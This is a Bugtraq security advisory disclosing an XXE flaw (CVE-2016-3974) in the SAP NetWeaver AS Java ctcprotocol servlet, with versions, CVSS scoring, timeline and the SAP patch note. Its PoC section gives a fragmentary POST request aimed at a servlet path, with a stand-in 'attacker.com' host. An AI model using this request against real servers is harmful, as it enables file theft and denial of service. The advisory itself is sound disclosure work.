Bugtraq: [ERPSCAN-16-013] SAP NetWeaver AS Java ctcprotocol servlet - XXE vulnerability

Application: SAP NetWeaver AS JAVA

Versions Affected: SAP NetWeaver AS JAVA 7.1 - 7.5

Vendor URL: http://SAP.com

Bug: XXE

Sent: 20.10.2015

Reported: 21.10.2015

Vendor response: 21.10.2015

Date of Public Advisory: 08.03.2016

Reference: SAP Security Note 2235994

Author: Vahagn Vardanyan (ERPScan)

Description

1. ADVISORY INFORMATION

Title: [ERPSCAN-16-013] SAP NetWeaver AS Java ctcprotocol servlet â??

XXE vulnerability

Advisory ID: [ERPSCAN-16-013]

Risk: Medium

Advisory URL: http://ift.tt/1Pys0Ck

col-servlet-xxe/

Date published: 08.03.2016

Vendors contacted: SAP

2. VULNERABILITY INFORMATION

Class: XXE

Impact: denial of service

Remotely Exploitable: Yes

Locally Exploitable: No

CVE-2016-3974

CVSS Information

CVSS Base Score v3: 6.4 / 10

CVSS Base Vector:

AV : Attack Vector (Related exploit range) Network (N)

AC : Attack Complexity (Required attack complexity) High (H)

PR : Privileges Required (Level of privileges needed to exploit) High (H)

UI : User Interaction (Required user participation) None (N)

S : Scope (Change in scope due to impact caused to components beyond

the vulnerable component) Unchanged (U)

C : Impact to Confidentiality High (H)

I : Impact to Integrity High (H)

A : Impact to Availability High (H)

3. VULNERABILITY DESCRIPTION

Authorized attacker can use a special request to read files from the

server and then escalate his or her privileges.

4. VULNERABLE PACKAGES

SAP NetWeaver AS JAVA 7.1 - 7.5

Other versions are probably affected too, but they were not checked.

5. SOLUTIONS AND WORKAROUNDS

To correct this vulnerability, install SAP Security Note 2235994

6. AUTHOR

Vahagn Vardanyan (ERPScan)

7. TECHNICAL DESCRIPTION

An XML external entity (XXE) vulnerability in the Configuration Wizard

in SAP NetWeaver Java AS 7.4 allows remote attackers to cause a denial

of service, conduct SMB Relay attacks, or access arbitrary files via a

crafted XML request related to the ctcprotocol servlet.

PoC

POST /_tc~monitoring~webservice~web/ServerNodesWSService HTTP/1.1

Content-Type: text/xml

xmlns:SOAP-ENV="http://ift.tt/sVJIaE"

xmlns:SOAP-ENC="http://ift.tt/wEYywg"

xmlns:xsi="http://ift.tt/ra1lAU"

xmlns:xsd="http://ift.tt/tphNwY">

attacker.com

8. REPORT TIMELINE

Sent: 20.10.2015

Reported: 21.10.2015

Vendor response: 21.10.2015

Date of Public Advisory: 08.03.2016

9. REFERENCES

http://ift.tt/1Pys0Ck

col-servlet-xxe/

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11. ABOUT ERPScan

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